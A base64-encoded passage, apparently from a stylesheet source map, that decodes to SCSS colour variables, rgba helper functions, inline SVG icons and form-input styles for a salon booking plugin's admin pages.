yLS1tYWluLS1ub2FscGhhIHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1tYWluLS1ub2FscGhhO1xufVxuJWJkLWNvbG9yLS1ncmV5IHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1ncmV5LS1tYWluO1xufVxuJWJkLWNvbG9yLS1ncmV5LS1saWdodCB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tZ3JleS0tbGlnaHQ7XG59XG4lYmQtY29sb3ItLW9rIHtcblx0Ym9yZGVyLWNvbG9yOiAkc2xuLWNvbG9yLS1vaztcbn1cbiViZC1jb2xvci0td2FybmluZyB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0td2FybmluZztcbn1cbiViZC1jb2xvci0tcHJvYmxlbSB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tcHJvYmxlbTtcbn1cbiViZC1jb2xvci0tcHJvYmxlbS0tbGlnaHQge1xuXHRib3JkZXItY29sb3I6ICRzbG4tY29sb3ItLXByb2JsZW0tLWxpZ2h0O1xufVxuJWJkLWNvbG9yLS1saWdodC0tYmx1ZSB7XG5cdGJvcmRlci1jb2xvcjogJHNsbi1jb2xvci0tbGlnaHQtLWJsdWU7XG59XG4iLCIvLyAkc2xuLWNsLXN1ci1oOiA3MDtcbi8vICRzbG4tY2wtc3VyLXM6IDUwO1xuLy8gJHNsbi1jbC1zdXItbDogOTY7XG4kc2xuLWNsLXN1ci1oOiAyMDA7XG4kc2xuLWNsLXN1ci1zOiA4MDtcbiRzbG4tY2wtc3VyLWw6IDkwO1xuJHNsbi1jbC1zdXI6IGhzbCgkc2xuLWNsLXN1ci1oLCAkc2xuLWNsLXN1ci1zICogMSUsICRzbG4tY2wtc3VyLWwgKiAxJSk7XG4kc2xuLWNsLXN1ci1icmlnaHQ6IGhzbCgkc2xuLWNsLXN1ci1oLCAkc2xuLWNsLXN1ci1zICogMSUsICRzbG4tY2wtc3VyLWwgKiAxJSk7XG4kc2xuLWNsLXN1ci1kaW06IGhzbChcblx0JHNsbi1jbC1zdXItaCxcblx0JHNsbi1jbC1zdXItcyAtIDM4ICogMSUsXG5cdCRzbG4tY2wtc3VyLWwgLSAxMiAqIDElXG4pO1xuJHNsbi1jbC1zdXJfY29udGFpbmVyLWJnOiBoc2woXG5cdCRzbG4tY2wtc3VyLWggKyAyMCxcblx0JHNsbi1jbC1zdXItcyAtIDEzICogMSUsXG5cdCRzbG4tY2wtc3VyLWwgLSAxMSAqIDElXG4pO1xuJHNsbi1jbC1zdXJfY29udGFpbmVyLWxvd2VzdDogaHNsKCRzbG4tY2wtc3VyLWgsICRzbG4tY2wtc3VyLXMgLSAxMiAqIDElLCAxMDAlKTtcbiRzbG4tY2wtc3VyX2NvbnRhaW5lci1sb3c6IGhzbChcblx0JHNsbi1jbC1zdXItaCxcblx0JHNsbi1jbC1zdXItcyAtIDE2ICogMSUsXG5cdCRzbG4tY2wtc3VyLWwgLSAyICogMSVcbik7XG4kc2xuLWNsLXN1cl9jb250YWluZXItYmFzZTogaHNsKFxuXHQkc2xuLWNsLXN1ci1oLFxuXHQkc2xuLWNsLXN1ci1zIC0gMjYgKiAxJSxcblx0JHNsbi1jbC1zdXItbCAtIDQgKiAxJVxuKTtcbiRzbG4tY2wtc3VyX2NvbnRhaW5lci1oaWdoOiBoc2woXG5cdCRzbG4tY2wtc3VyLWgsXG5cdCRzbG4tY2wtc3VyLXMgLSAzMiAqIDElLFxuXHQkc2xuLWNsLXN1ci1sIC0gNiAqIDElXG4pO1xuJHNsbi1jbC1zdXJfY29udGFpbmVyLWhpZ2hlc3Q6IGhzbChcblx0JHNsbi1jbC1zdXItaCxcblx0JHNsbi1jbC1zdXItcyAtIDM2ICogMSUsXG5cdCRzbG4tY2wtc3VyLWwgLSA4ICogMSVcbik7XG4vLy8vIERJTUlUUkkgVUkgLy8vL1xuXG4kc2xuLW51Y29sb3ItLW1haW46IHJnYmEoOSwgMTIwLCAxODksIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1tYWluKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoOSwgMTIwLCAxODksICRhbHBoYSk7XG59XG5cbiRzbG4tbnVjb2xvci0tbWFpbi0tZGFyazogcmdiYSgwLCA1MywgODMsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1tYWluLS1kYXJrKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMCwgNTMsIDgzLCAkYWxwaGEpO1xufVxuXG4kc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0OiByZ2JhKDE5OSwgMjIzLCAyNDMsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1tYWluLS1saWdodCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDE5OSwgMjIzLCAyNDMsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLW1haW4tLWE1MDogcmdiYSg5LCAxMjAsIDE4OSwgMC41KTtcbiRzbG4tbnVjb2xvci0tbWFpbmhvdmVyOiByZ2JhKDIxNywgMjI1LCAyMzAsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1tYWluaG92ZXIoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMTcsIDIyNSwgMjMwLCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS1kYXJrOiByZ2JhKDUyLCA1MiwgNTIsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1kYXJrKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoNTIsIDUyLCA1MiwgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1taWRfZGFyazogcmdiYSg2MywgNjgsIDcwLCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tbWlkX2RhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg2MywgNjgsIDcwLCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS1taWRfZGFya19iOiByZ2JhKDgwLCA4MCwgODAsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1taWRfZGFya19iKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoODAsIDgwLCA4MCwgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1saWdodGVzdDogcmdiYSgyNTUsIDI1NSwgMjU1LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tbGlnaHRlc3QoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyNTUsIDI1NSwgMjU1LCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS1saWdodGVzdF9ncmF5OiByZ2JhKDI0NSwgMjQ1LCAyNDUsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1saWdodGVzdF9ncmF5KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjQ1LCAyNDUsIDI0NSwgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tbGlnaHRlc3QoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyNTUsIDI1NSwgMjU1LCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS10ZXh0OiByZ2JhKDgzLCAxMDYsIDExOSwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLXRleHQoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg4MywgMTA2LCAxMTksICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLXRleHQtLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg3LCA0MCwgNzQsICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLXRleHQtLWJsdWUtLWRhcmsoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSg1MywgODMsIDEwMCwgJGFscGhhKTtcbn1cbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tdGV4dC0tZGFya2VzdCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDAsIDAsIDAsICRhbHBoYSk7XG59XG5cbiRzbG4tbnVjb2xvci0tZ3JleS0tbWFpbjogcmdiYSgxMzYsIDEzNiwgMTM2LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tZ3JleS0tbWFpbigkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDEzNiwgMTM2LCAxMzYsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0OiByZ2JhKDIyOCwgMjMxLCAyMzEsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIyOCwgMjMxLCAyMzEsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXI6IHJnYmEoMjQwLCAyNDAsIDI0MCwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyNDAsIDI0MCwgMjQwLCAkYWxwaGEpO1xufVxuJHNsbi1udWNvbG9yLS1ncmV5LS1hY2M6IHJnYmEoMjAyLCAyMTYsIDIyNCwgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWdyZXktLWFjYygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIwMiwgMjE2LCAyMjQsICRhbHBoYSk7XG59XG5cbiRzbG4tbnVjb2xvci0tb2s6IHJnYmEoNTcsIDE0OSwgMjQsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1vaygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDU3LCAxNDksIDI0LCAkYWxwaGEpO1xufVxuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1va2JnKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTc2LCAyMTMsIDE2MywgJGFscGhhKTtcbn1cbiRzbG4tbnVjb2xvci0tYXR0ZW50aW9uOiByZ2JhKDIxNywgOTYsIDE5LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tYXR0ZW50aW9uKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjE3LCA5NiwgMTksICRhbHBoYSk7XG59XG5cbiV0ZXh0LWNvbG9yLS1jb250cmFzdCB7XG5cdGNvbG9yOiAkc2xuLW51Y29sb3ItLXRleHQ7XG59XG5cbi8vIElOUFVUUyAmIEJVVFRPTlNcbiRzbG4tbnVjb2xvci0tZ3JleS0tdW5jaGVja2VkOiByZ2JhKDE3MywgMTczLCAxNzMsIDEpO1xuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDE3MywgMTczLCAxNzMsICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjM5LCAyNDQsIDI0NywgJGFscGhhKTtcbn1cblxuJHNsbi1udWNvbG9yLS1vazogcmdiYSgxMywgMTgxLCAxMywgMSk7XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLW9rKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTMsIDE4MSwgMTMsICRhbHBoYSk7XG59XG4kc2xuLW51Y29sb3ItLW5vdG9rOiByZ2JhKDI1NSwgMTUsIDE1LCAxKTtcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tbm90b2soJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyNTUsIDE1LCAxNSwgJGFscGhhKTtcbn1cblxuLy8gQk9SREVSU1xuJWJkLW51Y29sb3ItLW1haW4ge1xuXHRib3JkZXItY29sb3I6ICRzbG4tbnVjb2xvci0tbWFpbjtcbn1cbi8vIEFDQ09VTlRcbkBmdW5jdGlvbiBzbG4tbnVjb2xvci0tYWNjb3VudC0tbWFpbi0tbGlnaHQoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgxNjIsIDIxMCwgMjQwLCAkYWxwaGEpO1xufVxuQGZ1bmN0aW9uIHNsbi1udWNvbG9yLS1hY2NvdW50LS1hY2NlbnQoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMjcsIDExOSwgMTAsICRhbHBoYSk7XG59XG5AZnVuY3Rpb24gc2xuLW51Y29sb3ItLWFjY291bnQtLXJhdGluZygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI1MywgMTk1LCAwLCAkYWxwaGEpO1xufVxuLy8gQURNSU5cbiRzbG4tYWRtaW5fbnVjb2xvci0td2FybmluZzogcmdiYSgyNDUsIDIyOCwgMTU3LCAxKTtcbkBmdW5jdGlvbiBzbG4tYWRtaW5fbnVjb2xvci0td2FybmluZygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI0NSwgMjI4LCAxNTcsICRhbHBoYSk7XG59XG4vLyRzbG4tYWRtaW5fbnVjb2xvci0tYXR0ZW50aW9uOiByZ2JhKDIzMiwgMTcwLCAxMzUsIDEpOyAyOEE3NDVcblxuJHNsbi1hZG1pbl9udWNvbG9yLS1vazogcmdiYSg0MCwgMTY3LCA2OSwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLW9rKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoNDAsIDE2NywgNjksICRhbHBoYSk7XG59XG5cbiRzbG4tYWRtaW5fbnVjb2xvci0tb2stLWJnOiByZ2JhKDIzOCwgMjQ4LCAyNDAsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS1vay0tYmcoJGFscGhhKSB7XG5cdEByZXR1cm4gcmdiYSgyMzgsIDI0OCwgMjQwLCAkYWxwaGEpO1xufVxuJHNsbi1hZG1pbl9udWNvbG9yLS1hdHRlbnRpb246IHJnYmEoMjMyLCAxNzAsIDEzNSwgMSk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLWF0dGVudGlvbigkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDIzMiwgMTcwLCAxMzUsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW06IHJnYmEoMjEwLCAzNCwgMzQsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMjEwLCAzNCwgMzQsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcms6IHJnYmEoMTYwLCAyMSwgMjAsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1kYXJrKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTYwLCAyMSwgMjAsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWJnOiByZ2JhKDI0OSwgMjI1LCAyMjMsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1iZygkYWxwaGEpIHtcblx0QHJldHVybiByZ2JhKDI0OSwgMjI1LCAyMjMsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLXRleHQtLWRhcms6IHJnYmEoMCwgMCwgMjIsIDEpO1xuQGZ1bmN0aW9uIHNsbi1hZG1pbl9udWNvbG9yLS10ZXh0LS1kYXJrKCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMCwgMCwgMjIsICRhbHBoYSk7XG59XG4kc2xuLWFkbWluX251Y29sb3ItLW1haW4tLWxpZ2h0OiByZ2IoMTk5LCAyMjMsIDI0Myk7XG5AZnVuY3Rpb24gc2xuLWFkbWluX251Y29sb3ItLW1haW4tLWxpZ2h0KCRhbHBoYSkge1xuXHRAcmV0dXJuIHJnYmEoMTk5LCAyMjMsIDI0MywgJGFscGhhKTtcbn1cbiIsIi5zbG4taWNvbnVyaS0tcGVvcGxlc3RhciB7XG5cdCY6OmFmdGVyIHtcblx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgd2lkdGg9JzQ1JyBoZWlnaHQ9JzU3LjQ5Nycgdmlld0JveD0nMCAwIDQ1IDU3LjQ5NyclM0UlM0NwYXRoIGlkPSdJY29uX2F3ZXNvbWUtdXNlcnMnIGRhdGEtbmFtZT0nSWNvbiBhd2Vzb21lLXVzZXJzJyBkPSdNNi43NSwxNS43NWE0LjUsNC41LDAsMSwwLTQuNS00LjVBNC41LDQuNSwwLDAsMCw2Ljc1LDE1Ljc1Wm0zMS41LDBhNC41LDQuNSwwLDEsMC00LjUtNC41QTQuNSw0LjUsMCwwLDAsMzguMjUsMTUuNzVaTTQwLjUsMThIMzZhNC40ODcsNC40ODcsMCwwLDAtMy4xNzEsMS4zMDhBMTAuMjg1LDEwLjI4NSwwLDAsMSwzOC4xMDksMjdINDIuNzVBMi4yNDgsMi4yNDgsMCwwLDAsNDUsMjQuNzVWMjIuNUE0LjUsNC41LDAsMCwwLDQwLjUsMThabS0xOCwwYTcuODc1LDcuODc1LDAsMSwwLTcuODc1LTcuODc1QTcuODcxLDcuODcxLDAsMCwwLDIyLjUsMThabTUuNCwyLjI1aC0uNTg0YTEwLjg3MywxMC44NzMsMCwwLDEtOS42MzMsMEgxNy4xQTguMSw4LjEsMCwwLDAsOSwyOC4zNXYyLjAyNWEzLjM3NiwzLjM3NiwwLDAsMCwzLjM3NSwzLjM3NWgyMC4yNUEzLjM3NiwzLjM3NiwwLDAsMCwzNiwzMC4zNzVWMjguMzVBOC4xLDguMSwwLDAsMCwyNy45LDIwLjI1Wm0tMTUuNzI5LS45NDJBNC40ODcsNC40ODcsMCwwLDAsOSwxOEg0LjVBNC41LDQuNSwwLDAsMCwwLDIyLjV2Mi4yNUEyLjI0OCwyLjI0OCwwLDAsMCwyLjI1LDI3SDYuODg0QTEwLjMxMSwxMC4zMTEsMCwwLDEsMTIuMTcxLDE5LjMwOFonIHRyYW5zZm9ybT0ndHJhbnNsYXRlKDAgMjMuNzQ3KScgZmlsbD0nJTIzMDEzNTUzJy8lM0UlM0NwYXRoIGlkPSdJY29uX2F3ZXNvbWUtc3RhcicgZGF0YS1uYW1lPSdJY29uIGF3ZXNvbWUtc3RhcicgZD0nTTExLjcuNzY0LDguODk1LDYuNDUybC02LjI3Ni45MTVhMS4zNzUsMS4zNzUsMCwwLDAtLjc2LDIuMzQ2TDYuNCwxNC4xMzdsLTEuMDc0LDYuMjVhMS4zNzQsMS4zNzQsMCwwLDAsMS45OTMsMS40NDhsNS42MTUtMi45NTEsNS42MTUsMi45NTFhMS4zNzUsMS4zNzUsMCwwLDAsMS45OTMtMS40NDhsLTEuMDc0LTYuMjUsNC41NDEtNC40MjVhMS4zNzUsMS4zNzUsMCwwLDAtLjc2LTIuMzQ2bC02LjI3Ni0uOTE1TDE0LjE2Ni43NjRhMS4zNzYsMS4zNzYsMCwwLDAtMi40NjYsMFonIHRyYW5zZm9ybT0ndHJhbnNsYXRlKDguODc2IDAuMDAxKScgZmlsbD0nJTIzZmZkZDUwJy8lM0UlM0Mvc3ZnJTNFIFwiKTtcblx0fVxufVxuLnNsbi1pY29udXJpLS1hcnJvdyB7XG5cdGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMTgnIGhlaWdodD0nMjYnIHZpZXdCb3g9JzAgMCAxOCAyNiclM0UlM0NyZWN0IGlkPSdSZXR0YW5nb2xvXzUnIGRhdGEtbmFtZT0nUmV0dGFuZ29sbyA1JyB3aWR0aD0nMTgnIGhlaWdodD0nMjYnIGZpbGw9J3JnYmEoMjU1LDI1NSwyNTUsMCknLyUzRSUzQ3BhdGggaWQ9J0ljb25fbWF0ZXJpYWwtc3ViZGlyZWN0b3J5LWFycm93LXJpZ2h0JyBkYXRhLW5hbWU9J0ljb24gbWF0ZXJpYWwtc3ViZGlyZWN0b3J5LWFycm93LXJpZ2h0JyBkPSdNMjQsMTkuMmwtNy4yLDcuMi0xLjctMS43TDE5LjQsMjAuNEg2VjZIOC40VjE4aDExTDE1LjEsMTMuNywxNi44LDEyWicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTYgLTYpJyBmaWxsPSclMjNiYmZkYTInLyUzRSUzQy9zdmclM0UlMEFcIik7XG59XG5AbWl4aW4gc2xuLWljb251cmktLWxpc3RfdGFicygkdHlwZTogbGlzdCwgJGNvbG9yKSB7XG5cdEBpZiAkdHlwZSA9PSBsaXN0IHtcblx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgd2lkdGg9JzMyJyBoZWlnaHQ9JzI4JyB2aWV3Qm94PScwIDAgMzIgMjgnJTNFJTNDcGF0aCBpZD0nVW5pb25lXzMnIGRhdGEtbmFtZT0nVW5pb25lIDMnIGQ9J00xMSwyOFYyMEgzMnY4Wk0wLDI4VjIwSDl2OFpNMTEsMThWMTBIMzJ2OFpNMCwxOFYxMEg5djhaTTExLDhWMEgzMlY4Wk0wLDhWMEg5VjhaJyBmaWxsPScjeyRjb2xvcn0nLyUzRSUzQy9zdmclM0UlMEFcIik7XG5cdH0gQGVsc2UgaWYgJHR5cGUgPT0gdGFicyB7XG5cdFx0YmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHdpZHRoPSczMicgaGVpZ2h0PScyOCcgdmlld0JveD0nMCAwIDMyIDI4JyUzRSUzQ3BhdGggaWQ9J1VuaW9uZV80JyBkYXRhLW5hbWU9J1VuaW9uZSA0JyBkPSdNMCwyOFY4SDMyVjI4Wk0wLDhWMEg5VjhaTTIyLDZWMGg5VjZaTTExLDZWMGg5VjZaJyBmaWxsPScjeyRjb2xvcn0nLyUzRSUzQy9zdmclM0UlMEFcIik7XG5cdH1cbn1cbiIsIkB1c2UgJy4uL3NldHRpbmdzLW1peGlucyc7XG5AdXNlICdpY29ucy1kYXRhdXJpJztcbkB1c2UgJy4uL2FkbWluX2NvbmZpZyc7XG5AdXNlICcuLi9jb2xvcnMnO1xuQHVzZSAnLi4vY29sb3JzLW51JztcbkB1c2UgJy4uL3R5cG8tYWRtaW4nO1xuXG4jc2xuLXNhbG9uLS1hZG1pbixcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXIge1xuICAlc2xuLWlucHV0IHtcbiAgICBpbnB1dDpub3QoW3R5cGU9J2J1dHRvbiddKTpub3QoW3R5cGU9J3Jlc2V0J10pOm5vdChbdHlwZT0nc3VibWl0J10pOm5vdChcbiAgICAgICAgW3R5cGU9J2ltYWdlJ11cbiAgICAgICksXG4gICAgaW5wdXQuZm9ybS1jb250cm9sLFxuICAgIHRleHRhcmVhIHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xuICAgICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgIGJvcmRlcjogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KDEpO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgxKTtcbiAgICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTtcbiAgICAgIG1pbi1oZWlnaHQ6IDMuMzNyZW07XG4gICAgICBwYWRkaW5nOiAwLjQ1cmVtIDFyZW07XG4gICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgICAgdHJhbnNpdGlvbjpcbiAgICAgICAgYm9yZGVyLWNvbG9yIDEwMG1zLFxuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yIDI1MG1zO1xuICAgICAgQGluY2x1ZGUgYWRtaW5fY29uZmlnLnBsYWNlaG9sZGVyLWNvbG9yKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtKTtcbiAgICAgICZbZGlzYWJsZWQ9J2Rpc2FibGVkJ10ge1xuICAgICAgICBvcGFjaXR5OiAwLjU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tYmctLWxpZ2h0ZXI7XG4gICAgICB9XG4gICAgICAmOmZvY3VzLFxuICAgICAgJjphY3RpdmUge1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6IHNsbi1udWNvbG9yLS1tYWluKDAuMSk7XG4gICAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuOCk7XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3Zlcikge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjMpO1xuICAgICAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcbiAgICAgICAgICAmOmZvY3VzLFxuICAgICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcbiAgICAgICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjgpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgLy9taW4taGVpZ2h0OiAyLjVyZW07XG4gICAgICAgIHBhZGRpbmc6IDAuNDVyZW0gMC42NjZyZW07XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLWlucHV0LS1zaW1wbGUyNSB7XG4gICAgICBpbnB1dDpub3QoW3R5cGU9J2J1dHRvbiddKTpub3QoW3R5cGU9J3Jlc2V0J10pOm5vdChbdHlwZT0nc3VibWl0J10pOm5vdChcbiAgICAgICAgICBbdHlwZT0naW1hZ2UnXVxuICAgICAgICApLFxuICAgICAgaW5wdXQuZm9ybS1jb250cm9sLFxuICAgICAgdGV4dGFyZWEge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfaW5wdXQtLWJnO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWRhcmtlc3Q7XG4gICAgICB9XG4gICAgICBsYWJlbCB7XG4gICAgICAgIHBhZGRpbmc6IDAuMjVyZW07XG4gICAgICAgIGNvbG9yOiByZ2JhKGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0LCAwLjYpO1xuICAgICAgfVxuICAgIH1cbiAgICAvL2lucHV0IHtcbiAgICAvL1x0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDUwcHgpO1xuICAgIC8vXHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1MHB4KTtcbiAgICAvL31cbiAgICB0ZXh0YXJlYSxcbiAgICB0ZXh0YXJlYSNfc2xuX2Jvb2tpbmdfbm90ZSB7XG4gICAgICBtaW4taGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI1MHB4KTtcbiAgICB9XG4gIH1cbiAgI3Nsbl9ib29raW5nLWRldGFpbHMgJXNsbi1pbnB1dCB7XG4gICAgaW5wdXQ6bm90KFt0eXBlPSdidXR0b24nXSk6bm90KFt0eXBlPSdyZXNldCddKTpub3QoW3R5cGU9J3N1Ym1pdCddKTpub3QoXG4gICAgICAgIFt0eXBlPSdpbWFnZSddXG4gICAgICApLFxuICAgIGlucHV0LmZvcm0tY29udHJvbCxcbiAgICB0ZXh0YXJlYSB7XG4gICAgICAvL2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4LCAxNnB4KTtcbiAgICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gICAgfVxuICB9XG4gICVzbG4taW5wdXQtbGFiZWw